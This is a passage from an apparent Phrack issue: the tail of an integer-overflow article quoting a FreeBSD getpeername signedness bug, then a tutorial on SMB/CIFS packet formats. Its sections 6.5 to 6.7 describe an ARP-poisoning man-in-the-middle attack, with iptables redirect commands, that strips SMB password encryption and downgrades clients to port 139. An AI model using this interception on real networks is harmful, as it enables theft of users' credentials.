negative length paramters to various syscalls. The getpeername(2) function had such a problem and looked like this:

static int

getpeername1(p, uap, compat)

struct proc *p;

register struct getpeername_args /* {

intfdes;

caddr_t asa;

int*alen;

} */ *uap;

int compat;

{

struct file *fp;

register struct socket *so;

struct sockaddr *sa;

int len, error;

...

error = copyin((caddr_t)uap‑>alen, (caddr_t)&len, sizeof (len)); if (error) {

fdrop(fp, p);

return (error);

}

...

len = MIN(len, sa‑>sa_len); /* [1] */

error = copyout(sa, (caddr_t)uap‑>asa, (u_int)len); if (error)

goto bad;

gotnothing:

error = copyout((caddr_t)&len, (caddr_t)uap‑>alen, sizeof (len)); bad:

if (sa)

FREE(sa, M_SONAME);

fdrop(fp, p);

return (error);

}

This is a classic example of a signedness bug ‑ the check at [1] did not take into account the fact that len could be negative, in which case the MIN macro would always return len. When this negative len parameter was passed to copyout, it was interpretted as a huge positive integer which caused copyout to copy up to 4GB of kernel memory to user space.

‑‑[ Conclusion

Integer overflows can be extremely dangerous, partly because it is impossible to detect them after they have happened. If an integer overflow takes place, the application cannot know that the calculation it has performed is incorrect, and it will continue under the assumption that it is. Even though they can be difficult to exploit, and frequently cannot be exploited at all, they can cause unepected behaviour, which is never a good thing in a secure system.

‑‑[ Appendix

CERT advisory on the XDR bug: http://www.cert.org/advisories/CA‑2002‑25.html

FreeBSD advisory: http://online.securityfocus.com/advisories/4407

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SMB/CIFS By The Root

Volume 0x0b, Issue 0x3c, Phile #0x0b of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ SMB/CIFS BY THE ROOT ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ledin <ledin@encephalon‑zero.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ What is SMB/CIFS

3 ‑ Session establishment

How does a client establish a SMB session with a server ?

4 ‑ Security level of SMB

5 ‑ Passwords

6 ‑ Description of several SMB packets

6.1 ‑ The general aspect of a SMB packet

6.2 ‑ NETBIOS and SMB

6.3 ‑ The SMB base header

6.4 ‑ Description of the most importants SMB commands

6.5 ‑ How I can recover SMB passwords in clear from the network when they should be encrypted ?

6.6 ‑ Man in the middle attack

6.7 ‑ Notes about windows 2k/XP SMB operating over TCP

7 ‑ Transaction subprotocol and RAP commands

7.1 ‑ RAP commands

8 ‑ Using RAP commands to list shares available on a server

8.1 ‑ TconX packets

8.2 ‑ Explanation of the RAP command "NetshareEnum"

9 ‑ Conclusion

10 ‑ References

11 ‑ Thanks

Appendix A

Appendix B

‑‑[ 1 ‑ Introduction

In this article, I will try to explain what CIFS and SMB are , how it works and some common insecurities present on these protocols. This article constitue a useful source of knowledge about Microsoft networking. The SMB protocol is one of the most used protocols on LAN. I have also included source code in the aim of giving a good expamle of SMB operating.

You will learn how to use ARP poisoning to have password in clear from the network when all SMB passwords are encrypted (without brute forcing). You will be able to understand the link between SMB and NETBIOS. You will also learn what is and how works the Microsoft Remote Administration Protocol (RAP) for scanning remote shares on a SMB server.

Programs and information are given for educational purpose only. I could be not responsable of what you will make with.

‑‑[ 2 ‑ What is SMB/CIFS ?

According to Microsoft CIFS is intended to provide an open cross‑ platform mechanism for client systems to request file and print services from server systems over a network. It is based on the standard Server Message Block (SMB) protocol widely in use by personal computers and workstations running a wide variety of operating systems.

In fact, SMB (for Server Message Block) is a protocol which operates the data transfert between sharing files, devices, named pipes or mail slot across a network. CIFS is a public version of SMB.

SMB clients available :

from Microsoft : Windows 95, Windows for workgroups 3.x, Windows NT,2000 and XP

for Linux :

Smblient from Samba

Smbfs for Linux

SMB servers :

Samba

Microsoft Windows for Workgroups 3.x

Microsoft Windows 95

Microsoft Windows NT

The PATHWORKS family of servers from Digital

LAN Manager for OS/2,SCO,etc

VisionFS from SCO

TotalNET Advanced Server from Syntax

Advanced Serverfor UNIX from AT&T (NCR?)

LAN Server for OS/2 from IBM.

‑‑[ 3 ‑ Session establishment

Note : SMB protocol was developed to run on DOS ( powered by an Intel chip) so byte ordering is little‑endian the opposite of network ordering.

SMB can run over TCP/IP, NetBEUI, DECnet Protocol and IPX/SPX. With a SMB implementation over TCP/IP, DECnet or NETBEUI, the NETBIOS names must be use.

I will explain in the sixth chapter what NETBIOS is. But for the moment, you just have to know that a NETBIOS name identifies one computer on a Microsoft network.

The development of SMB has begun in the eighties, so there is a lot of versions of the SMB protocol. But the most used (on Windows 95, 98, Windows NT, Windows 2000 and XP) is the NT LM 0.12

version. This article is based on the NT LM 0.12 version.

You have to know that a SMB Domain name identifies a group of ressource (users, printers, files ..) on a SMB server.

How does a client establish a SMB session with a server ?

Let's take this situation : a client wants to access to a specific ressource on a server.

1 ‑ To begin the client requests the server for a NETBIOS session. The client sends his encoded NETBIOS name to the SMB server (which listening connection requests on port 139).

The server receives the NETBIOS name and replies with a NETBIOS session packet to valid the session. The client enters after in a SMB session establishment i.e the identification of the client to the SMB server.

2 ‑ The client sends a SMB negprot request packet (negprot for "negotiate protocol"). The client gives a list of SMB protocol versions supported.

Then the server sends a SMB negprot reply packet (with informations like SMB domain name, maximun connections accepted,

SMB protocol versions supported ...)

3 ‑ After the negotiation of protocols, the client processes to a user or share identification on the server.(see the next chapter to know what is the difference between a share and a user identification)

This process is operated by the SesssetupX request packet (SesssetupX for Session Setup and X).

The client sends a couple login/password or a simple password to the server that refuses or allows the conection with a SessetupX reply packet.

4 ‑ Ok, when the client has finished with negotiation and identification it sends a tconX packet for specifying the network name of the ressource that it wants to access, and the server sends a Tconx reply indicating if the connection is accepted or not.

netbios session request

(netbios name)

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

1)

netbios session granted

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

SMB negprot request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

2)

SMB negprot reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

SMB sesssetupX request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

3)

SMB sesssetupX reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

SMB TconX request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

4)

SMB TconX reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

A complete description of each packets is given in the chapter six.

‑‑[ 4 ‑ Security level of SMB

There is two types of security models on SMB :

The first is the "Share level" security model. This security model associates a password to a shared ressource on the network. The user logs to this ressource (IPC, Disk, Printers) with the correct password. The user is anyone on the network who knows the name of the server where the ressource is.

The second is the "User Level". This security model is an enhanced implementation of the first. It consists to associate a couple of login/password to a shared ressource. So if a person wants to connect to this shared ressource, he has to know the login/password couple. This security level is useful to know who makes what.

‑‑[ 5 ‑ Passwords

With SMB, when you have to make an identification on a server, your password could be sent in clear or encrypted. If the server supports encryption, the client will have to answer a challenge. The server knows the password, so in the negprot reply packet, an encryption key will be send to the client. The client encrypts the password, and sends it in the SesssetupX request packet, the server verifies the validity of the password and allows the session or not.

You have to know that a SMB password (not encrypted) is 14 bytes long maximum. The size of the encryption key is usually 8 bytes long. The size of the encrypted password is 24 bytes. With ANSI password, the characters of the password are converted in upper case for the encryption.

The password is encrypted with a DES encryption in block mode.

‑‑[6 ‑ Description of several SMB packets

In this part I will give the description of the most important packets types involved in SMB protocol. I know it's a bit boring but this is the base to understand how works SMB and the attacks. I will explain what is very important in each type of packet. For each type of command correspond two types of packets. The request packet and the reply packet.

‑‑‑‑[ 6.1 ‑ The general aspect of a SMB packet.

In the majority of case SMB runs over TCP/IP protocol suite. So let's consider that SMB runs over TCP layer for us. Over the TCP layer, you will always find the NETBIOS (NBT) header. Over NBT you have the SMB base header. Over the SMB base header, you have an another type of header, which depends of the specific command you request.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| TCP header |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NETBIOS header |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB base header |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB Command header |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| DATA |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The "SMB Base header" contains several informations, like the size of reception buffers, maximum connexions allowed... It also contains a number that identifies the command requested.

"SMB command header" is a header with all the parameters for the requested command (a command like negotiate protocol versions ... )

"DATA" is the data for the requested command.

I call "SMB packet", the NETBIOS Header + the SMB base header + the SMB Command header + DATA.

NOTE : I will use this definitions :

typedef unsigned char UCHAR; // 8 unsigned bits

typedef unsigned short USHORT; // 16 unsigned bits

typedef unsigned long ULONG; // 32 unsigned bits

and STRING defined a null terminated ASCII string.

‑‑‑‑[ 6.2 ‑ NETBIOS and SMB

NETBIOS (for NETwork Basic Input and Outpout System) is widely use on Microsoft networks. It is a sofware interface and a naming system. Each computer has a NETBIOS name, which is 15 characters long, and a sixteenth character is used to identify the type of computer

( Domain Name server, workstation...).

Value for the sixteenth character :

0x00 base computer, workstation.

0x20 resource sharing server.

There are other values but these are the most interessant for us. The first (0x00) identify a workstation and the second (0x20) the server.

On a SMB packet, the NETBIOS header corresponds to the NETBIOS Session header, defined like this :

UCHAR Type; // Type of the packet

UCHAR Flags; // Flags

USHORT Length;// Count of data bytes (netbios header

not included)

For the "Flags" field, the value is always 0. (with SMB, not in general !)

For the "Type" field, several values are possible :

0x81 corresponds to a NETBIOS session request. This code is used when the client sends its NETBIOS name to the server.

0x82 is a positive response to a NETBIOS session request. This code is used by the server to authorize a NETBIOS session.

0x00 correspond to a session message. This code is always used in a SMB session i.e when the client has sent his NETBIOS name to the server and has received a positive reply.

The "Length" field contains a count of data bytes (The netbios header is not included), "data" means what is above the NETBIOS header (it could be the SMB Base header + SMB Command header + DATA or NETBIOS names).

NETBIOS names and encoding

A NETBIOS encoded name is 32 bytes long.

A NETBIOS name is always given in upper case characters.

It's very easy to encode a NETBIOS name. For example the NETBIOS name of my computer is "BILL" and it's a workstation so there is a "0x00" for the sixteenth character.

Firstly, when a NETBIOS name is shorter than 15 bytes, it may be padded on the right with spaces.

"BILL "

In hexadecimal 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00

Each bytes are splited into 4‑bit halves.

0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 .......

And each 4‑bit half is added to the ASCII value of the 'A' letter (0x41)

0x4 + 0x41 = 0x45 ‑> ASCII value = E

0x2 + 0x41 = 0x43 ‑> ASCII value = C

...

And you have the encoded NETBIOS name which is 32 bytes long.

Note :

SMB can run directly over TCP without NBT (it's supported on Win2k and XP on port 445). The NETBIOS name are not limited to 15 characters.

You don't need to know more, if you want to have more information about NETBIOS read [3] and [4].

‑‑‑‑[ 6.3 ‑ The SMB base header

This header is used in all SMB packets, this is its definition :

UCHAR Protocol[4]; // Contains 0xFF,'SMB'

UCHAR Command; // Command code

union {

struct {

UCHAR ErrorClass; // Error class

UCHAR Reserved; // Reserved for future use

USHORT Error; // Error code

} DosError;

ULONG Status; // 32‑bit error code

} Status;

UCHAR Flags; // Flags

USHORT Flags2; // More flags

union {

USHORT Pad[6]; // Ensure section is 12 bytes long

struct {

USHORT PidHigh; // High part of PID

ULONG Unused; // Not used

ULONG Unused2;

} Extra;

};

USHORT Tid; // Tree identifier

USHORT Pid; // Caller's process id

USHORT Uid; // Unauthenticated user id

USHORT Mid; // multiplex id

UCHAR WordCount; // Count of parameter words

USHORT ParameterWords[ WordCount ]; // The parameter words

USHORT ByteCount; // Count of bytes

UCHAR Buffer[ ByteCount ]; // The bytes

The "Protocol" field contains the name of the protocol (SMB) with a 0xFF before.

The "Command" field contains the value of the requested command. For example 0x72 is for the "negotiate protocol" command.

The "Tid" field is used when the client is successfully connected to a ressource on a SMB server . The TID number identifies this ressource.

The "Pid" field is used when the client has successfully created a process on the server. The PID number identifies this process.

The "Uid" field is used when a user is successfully authenticated on a server. The UID number identify this user.

The "Mid" field is used in couple with the PID when a client has several requests on the server ( process, threads, file acess...).

The "Flags2" field is also important, when the bit 15 is armed, the strings are UNICODE strings .

‑‑‑‑[ 6.4 ‑ Description of the most importants SMB commands

SMB negotiate Protocol (negprot)

The Negotiate Protocol Command is used in the first step of the SMB session establishment.

The Command code for the field "Command" in the SMB Base header is : 0x72.

Here is the description of the negprot request and reply headers :

Request header

UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes

struct {

UCHAR BufferFormat; 0x02 ‑‑ Dialect

UCHAR DialectName[]; ASCII null‑terminated string

} Dialects[];

This packet is sent by the client to give the server its list of SMB protocol versions supported.

Just three things to say, for this packets, "WordCount" field is always set to zero, "ByteCount" field is equal to the size of the "Dialects" structure, the field "BufferFormat of "Dialects" is always equal to 0x02.

The "DialectName" string contains the name of the several SMB protocol versions supported by the client.

Reply header

UCHAR WordCount; Count of parameter words = 17 USHORT DialectIndex; Index of selected dialect

UCHAR SecurityMode; Security mode: bit 0: 0 = share, 1 = user bit 1: 1 = encrypt passwords USHORT MaxMpxCount; Max pending multiplexed requests USHORT MaxNumberVcs; Max VCs between client and server ULONG MaxBufferSize; Max transmit buffer size

ULONG MaxRawSize; Maximum raw buffer size

ULONG SessionKey; Unique token identifying this session ULONG Capabilities; Server capabilities

ULONG SystemTimeLow; System (UTC) time of the server (low). ULONG SystemTimeHigh; System (UTC) time of the server (high). USHORT ServerTimeZone; Time zone of server (min from UTC) UCHAR EncryptionKeyLength; Length of encryption key.

USHORT ByteCount; Count of data bytes

UCHAR EncryptionKey[]; The challenge encryption key

UCHAR OemDomainName[]; The name of the domain (in OEM chars)

This packet is sent by the server to give the client the list of SMB protocol versions supported, the SMB domain name of the server and an encryption key if necessary.

IMPORTANT :

The first interessant field is the "SecurityMode" byte. If the bit 0 is armed we have a user security level. If it's not, we have a share security level. If the bit 1 is armed the password is encrypted with a DES encryption in block mode.

The "SessionKey" field is used to identify the session . There is one single session key for one session.

The "Capabilities" field indicates if the server supported UNICODE strings or NT LM 0.12 particular commands ...

The datas are at the end of the header. With a negprot reply, these datas corespond to the strings "EncryptionKey" and "OemDomainName".

The length of these two strings together is given by the "Bytecount" field.

The length of the "EncrytionKey" string is given by the field "EncryptionKeyLength". The "EncryptionKey" string contains the Key for the encryption of the password.

The length of "OemDomainName" is given by

(Bytecount ‑ EncryptionKeyLength).

The "OemDomainName" string contains the SMB domain name of the server (in OEM chars).

Session setup and X

The Session Setup and X packets (SesssetupX or setupx for abbrevation) are used to deal with the identity of a user or when you have to give a password to acess a ressource.

The Command code for the Session Setup and X command is 0x73.

Request header

UCHAR WordCount; Count of parameter words = 13 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0)

USHORT AndXOffset; Offset to next command WordCount USHORT MaxBufferSize; Client's maximum buffer size USHORT MaxMpxCount; Actual maximum multiplexed pending

requests

USHORT VcNumber; 0 = first (only), nonzero=additional

VC number

ULONG SessionKey; Session key (valid iff VcNumber != 0) USHORT Account password size, ANSI CaseInsensitivePasswordLength;

USHORT Account password size, Unicode CaseSensitivePasswordLength;

ULONG Reserved; must be 0

ULONG Capabilities; Client capabilities

USHORT ByteCount; Count of data bytes; min = 0 UCHAR Account Password, ANSI CaseInsensitivePassword[];

UCHAR CaseSensitivePassword[]; Account Password, Unicode STRING AccountName[]; Account Name, Unicode

STRING PrimaryDomain[]; Client's primary domain, Unicode STRING NativeOS[]; Client's native operating system,

Unicode

STRING NativeLanMan[]; Client's native LAN Manager type,

Unicode

This packet gives a lot of information about the client's system.

The field "MaxBufferSize" is very important, it gives the maximun size of data that the client can receive. If you set it to zero you will not receive any type of data from the server.

For the data, you have several strings. The most important are "CaseSensitivePassword" (password in UNICODE characters)

and "CaseInsensitivePassword" (password in ANSI characters).

One of both is used, it depends if the server is supporting UNICODE strings or not (see negatiate protocol reply packet description). The length of the password is given in the fields "CaseInsensitivePasswordLength" or in "CaseSensitivePasswordLength" .

For the other strings, see the description. The count of data bytes is given by the "Bytecount" field.

Reply header

UCHAR WordCount; Count of parameter words = 3 UCHAR AndXCommand; Secondary (X) command; 0xFF =

none

UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Action; Request mode:

bit0 = logged in as GUEST

USHORT ByteCount; Count of data bytes

STRING NativeOS[]; Server's native operating system STRING NativeLanMan[]; Server's native LAN Manager type STRING PrimaryDomain[]; Server's primary domain

Again, there are a lot of information on this packet : OS Type, version of the SMB server software running on server and DomainName.

If the connection failed, there is nothing for NativeOS, NativeLanman and PrimaryDomain strings.

OK I have finished with the "hard" part, we can play a little with the SMB protocol.

If you want to learn more about it, read [1].

‑‑‑‑[ 6.5 ‑ How I can recover SMB passwords in clear from the network when they should be encrypted

During the session establishment, the password is sent to the server during the SMB setupx Session. The SMB negprot reply packet contains a bit in the "SecurityMode" field which allows password encryption or not.

So if you want to have a password in clear when all is encrypted, you have two possibilities.

The first one is to catch the encryption key and the encrypted password and brute force it ! It can be very long ...

Some programs like LophtCrack (with SMBGrinder), dsniff or readsmb2 sniff SMB encrypted passwords.

The second way is to hijack the connection and to make the client believe that the password should not be encrypted.

This technic is a bit complex to explain, but I will say how to do it !

If the server is configured to encrypt password, the SMB negprot reply packet has the bit 1 of the "SecurityMode" field armed. But if an attacker sends a negprot reply packet with this bit equal to zero before the server, the password will be in clear in the SessetupX request packet .

negprot request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> server]

[attacker waits for a negprot request]

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑| server]

| fake negprot reply

|

[attacker sends his fake neprot reply]

real negprot reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ server]

[attacker (does nothing)]

sessetupX request with the password in clear text

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>server]

[attacker sniffs the password in clear text]

These diagrams illustrate a direct packet injection on the network. In majority of case, this method doesn't work because the fake negprot reply could treated after the real. There is also other problems, session failures, validity of password, does not work in a switched environment...

We can avoid all of these problems by using Arp‑Poisoning.

I will not explain and describe what is ARP‑Poisoning, you could find a lot of docs about it on internet . But, if you don't know what it is, you just have to know that this attack allow the attacker to redirect and modify the traffic between the server and the client.

If you consider this situation, the attacker is between the both.

He is the man in the middle ...

‑‑‑‑[ 6.6 ‑ Man in the middle attack

"Attack where your enemy is not expecting you"

Sun Tzu, "The art of war"

Now I will describe the man in the middle attack. This attack allow you to bypass switches, to avoid connection failures and to grab the password in clear.

Let's consider that the traffic between the client and the server is redirected by the attacker ( thanks to ARP poisoning !).

The client requests a SMB session to the server.

The client will send packets to the SMB port (139) of the server. The attacker receives them. But the attacker doesn't redirect the packet to the server.

The whole incoming traffic to the server's SMB port (so to the attacker's machine) is redirected on the local port 1139 of the attacker (very easy to do with NAT and iptables).

The whole traffic (not only SMB) is redirected also with iptables and NAT.

On the port 1139, there is a program (a transparent proxy program) that assumes the modification and redirection of the SMB packets.

The two iptables/NAT commands are :

To redirect the incoming traffic (on port 139 ) to a local port (1139 for example).

#iptables ‑t nat ‑A PREROUTING ‑i eth0 ‑p tcp ‑s 192.168.1.3 \ ‑‑dport 139 ‑j REDIRECT ‑‑to‑port 1139

192.168.1.3 is the IP address of the client

To redirect the whole traffic

#iptables ‑t nat ‑A POSTROUTING ‑o eth0 ‑j MASQUERADE

What are the modifications ? :

The attacker modifies the negprot reply to have password in clear text. The attacker recovers also the encryption key.

The attacker set to zero the value of the length of the encryption key and put the domain name instead of the encryption key.

He sets the encryption bit of the "SecurityMode" field to 0. With this, the password will not be encrypted.

The client will send the password in clear in a sesssetupx request. When the attacker has the password, he encrypts it with the encryption key recovered before and sends the sesssetupx request (with

the encrypted password) to the server.

The server sends a sesssetupx reply to accept or refuse the session. The attacker redirects the sesssetupx reply and the whole traffic after.

The session will not fail and nobody has saw our man in the middle !.

Description :

ARP‑P ARP‑P

[client] <‑‑‑‑‑‑‑‑‑ [attacker] ‑‑‑‑‑‑‑‑‑> [server]

The attacker processes to a ARP Poisoning attack to redirect the whole traffic between the two machines.

[client] <‑‑‑‑‑‑‑‑‑> [attacker] <‑‑‑‑‑‑‑‑‑> [server]

The traffic redirection is operated with NAT and iptables.

port 139

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [attacker] [server]

The attacker receives the first packet to the SMB server port.

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>[attacker 139] [server]

|

V

[attacker 1139]

The attacker redirects it to the port 1139.

On the port 1139, our proxy program is listening.

negprot request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [attacker] [server]

The attacker receives the negprot request.

negprot request

[client] [attacker]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

The attacker redirects directly the negprot request to the server.

negprot reply

[client] [attacker] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

(encryption bit set

to have password encrypted)

The server replies with a negprot reply with the encryption

bit set to have the password encrypted. The attacker doesn't redirects this packet. He changes the encryption bit to have plain text password .

negprot reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [attacker] [server]

(encryption bit set

to have plain text password )

The attacker sends the modified negprot reply with the encryption bit changed to have the password in clear text.

sesssetupX request

[client] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [attacker] [server] (password in clear text)

The client sends the password in clear text, the attacker recovers it.

sesssetupX request

[client] [attacker] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

(password encrypted)

The attacker sends a sesssetupx request to the server with the encrypted password.

sesssetupX reply

[client] <‑‑‑‑‑‑‑‑‑‑‑‑‑ [attacker] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [server]

The servers sends the sesssetupx reply. The attacker redirects it.

[client] <‑‑‑‑‑‑‑‑‑‑‑‑> [attacker] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [server]

The attacker continues to redirect traffic between the two machines until the end of the SMB session.

The implementation of the man in the middle attack is given in the Appendix A (the NAT and iptables rules are given also).

Take a look at the source code, you will learn a lot of

details !.

‑‑‑‑[ 6.7 ‑ Notes about windows 2k/XP SMB operating over TCP/IP

As I wrote before, on Windows 2k/XP, SMB can run directly over TCP. The SMB server is listening incoming connexions on port 445. But it's not so "directly". In fact instead of having a NETBIOS header which is 4 bytes long, we have a other header which is 4 bytes long too.

Description :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| TCP |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|SPECIAL HEADER |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| SMB BASE HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

This special header is defined like this :

UCHAR Zero; // Set to zero

UCHAR Length[3];// Count of data bytes (the 4 bytes of

the header are not included)

This special header is not very different than the NETBIOS header. You will understand why.

This is the NETBIOS header :

UCHAR Type; // Type of the packet

UCHAR Flags; // Flags

USHORT Length;// Count of data bytes (netbios header

not included)

When SMB is running over TCP, the NETBIOS request session should be not used.

In fact, the NETBIOS names of the client and of the server should not be sent. So the value of the "Type" field in the NETBIOS is always equal to zero (the "Type" field is different from zero when the client sends his encoded NETBIOS name ‑ Type = 0x81 ‑ and when it receives the reply ‑ Type = 0x82 ‑). Remember, during the SMB session the Type field is equal to zero ( it's the "Type" code for the NETBIOS session message).

For the first byte nothing is different.

For the last three bytes now :

The "Flags" field of the NETBIOS header is always set to zero. The length of the packet only takes the two last bytes of the special header.

The three last bytes are the same.

To conclude there is no difference between the NETBIOS and the special header when NETBIOS is not used.

Downgrade attack :

If the client (running on windows XP or 2k) has NBT enabled, it always try to connect to the port 139 and 445 simultaneously. If the client has a response from the port 445, the client will send a RST packet to the port 139. If the client has no response from the port 445, it will try to connect on port 139. If it has no response from the both, the session will fail.

If the client has NBT disabled, the client will try on the port 445 only.

To perform a Downgrade attack i.e force the client to not use the port 445 and to use the port 139, you have to make believe to the client that the 445 is closed. With the transparent proxy attack it's very easy, with iptables you have just to redirect the incoming traffic on the attacker's machine on port 445 to a closed port. With this the client will use the port 139 (the iptables rules for this is given in appendix A).

This will work if NBT is enabled.

If the client has NBT disabled, the transparent proxy will operate the SMB traffic on port 445. You've got an option on the program for this.

Ok, we have finished with the attack for recovering passwords. We will study now an another important part of SMB.

‑‑[ 7 ‑ Transaction subprotocol and RAP commands

I will explain in this chapter a panel of special (and obscur ) SMB commands : the RAP commands.

These commands use the transaction subprotocol.

I will also describe this subprotocol.

‑‑‑‑[ 7.1 ‑ The transaction subprotocol

When a large amount of data is sent during a SMB session or if there is a specific operation requested,the SMB protocol includes a transaction subprotocol.

The transaction subprotocol is mainly used for SMB Remote Procedure Calls : The RAP commands (RAP for Remote Administration Protocol). But I will explain it later.

The transaction subprotocol is not a derived protocol of SMB. The transaction subprotocol is just an other command for SMB. So the transaction subprotocol is layered on SMB base header and the command code for the transaction subprotocol is 0x25.

Like the other commands there is a request and a reply.

This is the Transaction request header :

UCHAR WordCount; Count of parameter words; value =

(14 + value of the "SetupCount" field)

USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT MaxParameterCount; Max parameter bytes to return USHORT MaxDataCount; Max data bytes to return UCHAR MaxSetupCount; Max setup words to return UCHAR Reserved;

USHORT Flags; Additional information:

bit 0 ‑ also disconnect TID in TID

bit 1 ‑ one‑way transaction (no

response)

ULONG Timeout;

USHORT Reserved2;

USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to

Parameters

USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data UCHAR SetupCount; Count of setup words

UCHAR Reserved3; Reserved (pad above to word) USHORT Setup[SetupCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes

STRING Name[]; Name of transaction (NULL if

SMB_COM_TRANSACTION2)

UCHAR Pad[]; Pad to SHORT or LONG

UCHAR Parameters[ Parameter bytes (# = ParameterCount) ParameterCount];

UCHAR Pad1[]; Pad to SHORT or LONG

UCHAR Data[ DataCount ]; Data bytes (# = DataCount)

In a majority of case, a RAP command sent with Transaction subprotocol may need several Transaction packets for sending the parameters and data bytes. The parameters bytes are usually sent first, followed by the data bytes. If several transaction packets must be involved, the server sends this small packet for acknoledgement between each transaction packets :

Interim Reply packets :

UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes = 0

For the transaction request header, the "TotalParameterCount" field represents a count of paramaters bytes to be sent and it's the same for the "TotalDataCount" field (count of data bytes to be sent).

The offset from the start of the SMB base header to the parameters bytes and the data bytes are given with the "ParameterOffset" and "DataOffset" fields.

The parameters bytes are in the "Parameters" field.

The data bytes are in the "Data" field.

You must understand that these "Parameters" and "Data" fields are used for the RAP command. "Parameters" contains the parameters bytes for the RAP command and "Data", the data bytes.

The fields for "DataCount" and "ParameterCount" represent respectivily the count of data bytes and the count of parameters bytes present in the considereted transaction packet. If these fields are equal to the "TotalParameterCount" and the "TotalDataCount", it involved that all parameter and data bytes fit in a single packet. If they are not, it involved that the server (for request) or the client (for reply) must wait for another packets. When all packets are received, the parameter and data bytes are marshalled for analysis.

Take a look at the field "WordCount", it contains the value : 14 + "SetupCount" field, in majority of case SetupCount is equal to 0.

The Transaction reply header:

There is not a big difference between the reply and the request

UCHAR WordCount; Count of data bytes; value = 10 +

"Setupcount" field.

USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT Reserved;

USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to

Parameters

USHORT ParameterDisplacement; Displacement of these Parameter

bytes

USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data USHORT DataDisplacement; Displacement of these data bytes UCHAR SetupCount; Count of setup words

UCHAR Reserved2; Reserved (pad above to word) USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes

UCHAR Pad[]; Pad to SHORT or LONG

UCHAR Parameter bytes (# = ParameterCount) Parameters[ParameterCount];

UCHAR Pad1[]; Pad to SHORT or LONG

UCHAR Data[DataCount]; Data bytes (# = DataCount)

The client must use the "ParameterOffset" and "DataOffset" to know the offset (from the beginning of the SMB base header) of data and parameters bytes.

‑‑‑‑[ 7.2 ‑ RAP commands

